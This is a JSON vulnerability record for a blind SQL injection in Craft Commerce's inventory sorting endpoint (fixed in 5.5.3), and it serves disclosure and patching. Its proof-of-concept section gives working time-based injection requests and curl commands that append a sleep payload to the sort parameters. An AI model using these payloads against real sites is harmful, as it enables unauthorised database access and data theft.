{"id":"CVE-2026-29174","aliases":["CVE-2026-29174","GHSA-pmgj-gmm4-jh6j"],"related":[],"kind":"vulnerability","state":"published","title":"Craft Commerce has a SQL Injection in Commerce Inventory Table Sorting","summary":"Craft Commerce is an ecommerce platform for Craft CMS. Prior to 5.5.3, Craft Commerce is vulnerable to SQL Injection in the inventory levels table data endpoint. The sort[0][direction] and sort[0][sortField] parameters are concatenated directly into an addOrderBy() clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise. This vulnerability is fixed in 5.5.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Craft Commerce is an ecommerce platform for Craft CMS. Prior to 5.5.3, Craft Commerce is vulnerable to SQL Injection in the inventory levels table data endpoint. The sort[0][direction] and sort[0][sortField] parameters are concatenated directly into an addOrderBy() clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise. This vulnerability is fixed in 5.5.3.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nCraft Commerce is vulnerable to **SQL Injection** in the inventory levels table data endpoint. The `sort[0][direction]` and `sort[0][sortField]` parameters are concatenated directly into an `addOrderBy()` clause without any validation or sanitization. An authenticated attacker with access to the Commerce Inventory section can inject arbitrary SQL queries, potentially leading to a full database compromise.\n\n---\n## PoC\n### Required Permissions\n- General\n\t- Access the control panel\n\t- Access Craft Commerce\n- Craft Commerce\n\t- Manage inventory stock levels \n\n### Steps to reproduce\n1. Log in to the control panel\n2. Navigate to **Commerce** > **Inventory**\n3. Click on any sortable column header (e.g., \"SKU\") to trigger a sort request\n4. Intercept the request and modify `sort[0][direction]` or `sort[0][sortField]` parameters and append `,sleep(2)` payload to it's current value as follows:\n\n```bash\n# sort[0][sortField]=sku,sleep(2)\nGET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku,sleep(2)&sort[0][direction]=asc&inventoryLocationId=1&containerId=%23inventory-levels\n# sort[0][direction]=asc,sleep(2)\nGET /index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort[0][sortField]=sku&sort[0][direction]=asc,sleep(2)&inventoryLocationId=1&containerId=%23inventory-levels\n```\n\n6. Observe the delay in the response, confirming the injection\n\nAlternatively, you can use the following `curl` (bash syntax) command (replace cookie and target domain as needed):\n```bash\n# sort[0][sortField]=sku,sleep(2)\ncurl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku,sleep(2)&sort%5b0%5d%5bdirection%5d=asc&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'\n# sort[0][direction]=asc,sleep(2)\ncurl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin/actions/commerce/inventory/inventory-levels-table-data&sort%5b0%5d%5bfield%5d=purchasable&sort%5b0%5d%5bsortField%5d=sku&sort%5b0%5d%5bdirection%5d=asc,sleep(2)&page=1&per_page=25&inventoryLocationId=1&containerId=%23inventory-levels'\n```\n\n### Impact\nWith this Blind SQLi, an attacker can:\n- **Exfiltrate data** character-by-character using time-based techniques.\n- **Modify or destroy data** (drop tables, update records, alter schema).","format":"markdown","source":"ghsa"},{"lang":"es","text":"Craft Commerce es una plataforma de comercio electrónico para Craft CMS. Antes de la versión 5.5.3, Craft Commerce es vulnerable a una inyección SQL en el endpoint de datos de la tabla de niveles de inventario. Los parámetros sort[0][direction] y sort[0][sortField] se concatenan directamente en una cláusula addOrderBy() sin ninguna validación o saneamiento. Un atacante autenticado con acceso a la sección de Inventario de Commerce puede inyectar consultas SQL arbitrarias, lo que podría llevar a un compromiso total de la base de datos. Esta vulnerabilidad se corrige en la versión 5.5.3.","source":"nvd"}],"published":"2026-03-10T18:23:25.000Z","modified":"2026-06-17T10:29:43.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":">= 5.0.0 < 5.5.3","status":"affected"}],"vendor":"craftcms","product":"commerce","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"5.0.0","status":"affected","fixed":"5.5.3"}],"ecosystem":"Packagist","package":"craftcms/commerce","purl":"pkg:composer/craftcms/commerce","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"5.0.0","fixed":"5.5.3"}],"vendor":"craftcms","product":"craft_commerce","cpe":"cpe:2.3:a:craftcms:craft_commerce:*:*:*:*:*:craft_cms:*:*","source":"nvd"}],"references":[{"url":"https://github.com/craftcms/commerce/security/advisories/GHSA-pmgj-gmm4-jh6j","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/craftcms/commerce/commit/094d69df24b925544f337c38e2ec1effcd5395c7","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/craftcms/commerce/commit/a2ea853935ef03297ea1298bdb0d8c55ec5daf7b","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29174","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/craftcms/commerce","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-03-10T20:09:58.081Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-29174","url":"https://www.cve.org/CVERecord?id=CVE-2026-29174","licence":"CVE Terms of Use","modified":"2026-03-10T20:12:39.918Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pmgj-gmm4-jh6j","url":"https://github.com/advisories/GHSA-pmgj-gmm4-jh6j","licence":"CC-BY-4.0","modified":"2026-03-13T04:22:12.220Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-29174","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29174","licence":"Public domain","modified":"2026-06-17T10:29:43.167Z"}],"updatedAt":"2026-11-25T22:59:15.651Z","epss":{"score":0.00491,"percentile":0.43832,"date":"2026-12-01T12:00:22.000Z"}}